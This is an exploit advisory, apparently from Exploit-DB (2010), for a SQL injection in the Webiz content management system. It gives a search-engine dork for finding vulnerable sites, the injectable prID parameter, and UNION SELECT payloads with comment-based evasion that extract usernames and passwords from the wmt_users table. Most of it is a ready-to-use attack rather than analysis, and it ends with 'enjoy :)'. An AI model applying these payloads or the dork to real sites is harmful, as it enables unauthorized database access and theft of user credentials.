Webiz SQL Injection

`# Exploit Title: (Webiz) SQL Injection Vulnerability  
# Date: 23-05-2010  
# Author: kannibal615  
# Software Link: N/A  
# Version: 2008  
# Tested on: PHP  
# CVE : N/A  
# Code :  
  
  
@@@@@@@@ @@ @@ @@@@@@ @@@@@ @@ @@@@@ @@ @@@@@@@@ @@@@@ @@@@@  
@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@  
@@ @@@@@@@ @@@@@ @@@@@ @@ @@ @@ @@@@@@ @@ @@ @@ @@ @@  
@@ @@ @@ @@ @@ '' @@ @@ @@ @@ @@ @@ @@ @@ @@  
@@ @@ @@ @@@@@@ @@ @@ @@ @@ @@ @@ @@ @@@@@ @@ @@  
  
[email protected]  
  
VBHACKER.NET  
  
  
===========================================================================  
  
  
WEBIZ SQL INJECTION VULNERABILITY  
  
  
===========================================================================  
  
  
  
============================================================================  
ABOUT ME  
============================================================================  
== Found By : THE PIRATOR ---> AYMEN AHMADI  
== : kannibal615 ---> WALID TGS  
== website : www.vbhacker.net/vb  
==  
== email : vxa [at] hotmail [dot] fr  
== : zn [at] live [dot] de  
==  
==  
== Thanks to : Pc-InSeCt / emptyzero  
== : DAK / l3G3NDS / m0j4h3d  
== : V!Ru$_T4ckJ3n / __MiM0__   
== : / PrideArabs / DIESEL  
== : ALL VBHACKER MEMBERS  
==  
============================================================================  
INFORMATIONS  
============================================================================  
== Developers : www.webiz.gr  
== vulner : SQL INJECTION  
== Bug : ../wmt/webpages/index.php  
== Variable1 : &prID=  
== Variable2 : &apprec=  
==  
== dork : Powered by Webiz inurl:'wmt/webpages'  
==  
============================================================================  
  
  
============================================================================  
EXPLOIT  
============================================================================  
==  
== Dork : Powered by Webiz inurl:'wmt/webpages'  
==   
== URL : ../wmt/webpages/index.php?lid=&pid=&prID=[Injection Here]  
==  
== Demo : http://localhost/wmt/webpages/index.php?lid=&pid=&prID=999.9'  
==  
== exploit : index.php?lid=&pid=&prID=-999.9/**/UNION/**/ALL/**/SELECT/**/1,2,3...,20--  
==  
== database : MySQL 5  
==  
++  
==  
== *** Insert This Code in THE VALID COLUMN ***  
++ +  
== *** CHANGE [DATABASE_NAME] ***  
==  
==  
==  
==  
== USERNAME  
==   
== (SELECT/**/concat(cast(wmt_users.Username/**/as/**/char))/**/FROM/**/[DATABASE_NAME].wmt_users/**/LIMIT/**/0,1)  
==   
==  
==  
== USER PASSWORD  
==   
== (SELECT/**/concat(cast(wmt_users.UserPassword/**/as/**/char))/**/FROM/**/[DATABASE_NAME].wmt_users/**/LIMIT/**/0,1)  
==  
=============================================================================  
  
enjoy :)  
  
  
== Exploit-db.com  
== VBHACKER.NET/VB  
== kannibal615 Copyright (c) 2010  
`